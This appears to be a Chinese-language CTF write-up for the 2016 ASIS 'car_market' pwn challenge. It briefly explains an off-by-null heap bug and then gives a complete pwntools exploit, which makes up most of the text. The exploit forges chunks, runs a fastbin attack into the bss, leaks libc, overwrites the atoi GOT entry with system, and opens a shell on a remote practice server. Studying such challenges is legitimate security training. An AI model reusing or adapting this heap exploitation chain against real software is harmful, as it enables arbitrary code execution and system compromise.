car_market_asis_ctf_2016
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,程序功能比较多,这里不做分析了。
漏洞点在这,输入函数存在off by null。
该函数在set_customer_name里调用
可以将comment指针的低1字节覆盖
这样,我们只需要在对应的位置伪造好chunk,然后free掉形成overlap chunk即可控制,构造麻烦了点,为了能够通过fastbin attack申请到bss上控制堆指针,我们还需要利用count来伪造成chunk的size
#coding:utf8
from pwn import *
#sh = process('./car_market_asis_ctf_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',29774)
elf = ELF('./car_market_asis_ctf_2016')
libc = ELF('./libc-2.23.so')
atoi_got = elf.got['atoi']
def add_car(model,price):
sh.sendlineafter('>','2')
sh.sendlineafter('model',model)
sh.sendlineafter('price',str(price))
def delete_car(index):
sh.sendlineafter('>','3')
sh.sendlineafter('index',str(index))
def show():
sh.sendlineafter('>','1')
def select_car(index):
sh.sendlineafter('>','4')
sh.sendlineafter('index',str(index))
def add_customer():
sh.sendlineafter('>','4')
def set_model(model):
sh.sendlineafter('>','2')
sh.sendafter('model',model)
def set_price(price):
sh.sendlineafter('>','3')
sh.sendlineafter('price',str(price))
def set_customer_name(name):
sh.sendlineafter('>','1')
sh.sendafter('name :',name)
def set_customer_comment(comment):
sh.sendlineafter('>','3')
sh.sendafter('coment :',comment)
add_car('a'*0x9,10) #0
select_car(0)
add_customer()
set_customer_comment('b'*0x40 + '\n')
sh.sendlineafter('>','4')
sh.sendlineafter('>','5')
#伪造一个chunk
add_car(p64(0) + p64(0x51),10) #1
select_car(1)
add_customer()
set_customer_comment('d'*0x40 + '\n')
#null off by one修改堆指针指向fake_chunk
set_customer_name(p64(0) + p64(0x21) + 'e'*0x10)
sh.sendlineafter('>','4')
sh.sendlineafter('>','5')
for i in range(0x51-2): #使得count增加为0x51,这样可以作为fake_chunk的size
add_car('f'*0x9,10)
fake_chunk_in_bss = 0x00000000006020B8
#free掉fake_chunk
select_car(1)
add_customer()
sh.sendlineafter('>','4')
set_price(fake_chunk_in_bss) #将bss上的fake_chunk连接上去
sh.sendlineafter('>','5')
select_car(2)
add_customer()
#申请到bss上,控制堆指针数组,实现任意地址读写
fake_struct = p64(atoi_got-0x8) + p64(0) + p64(0) + '\n'
set_customer_comment(p64(0x00000000006020D0) + fake_struct)
sh.sendlineafter('>','4')
sh.sendlineafter('>','5')
select_car(0)
show()
sh.recvuntil('Model : ')
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym['_IO_setvbuf']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
set_model(p64(0) + p64(system_addr)) #修改atoi的got表
#getshell
sh.sendlineafter('>','/bin/sh')
sh.interactive()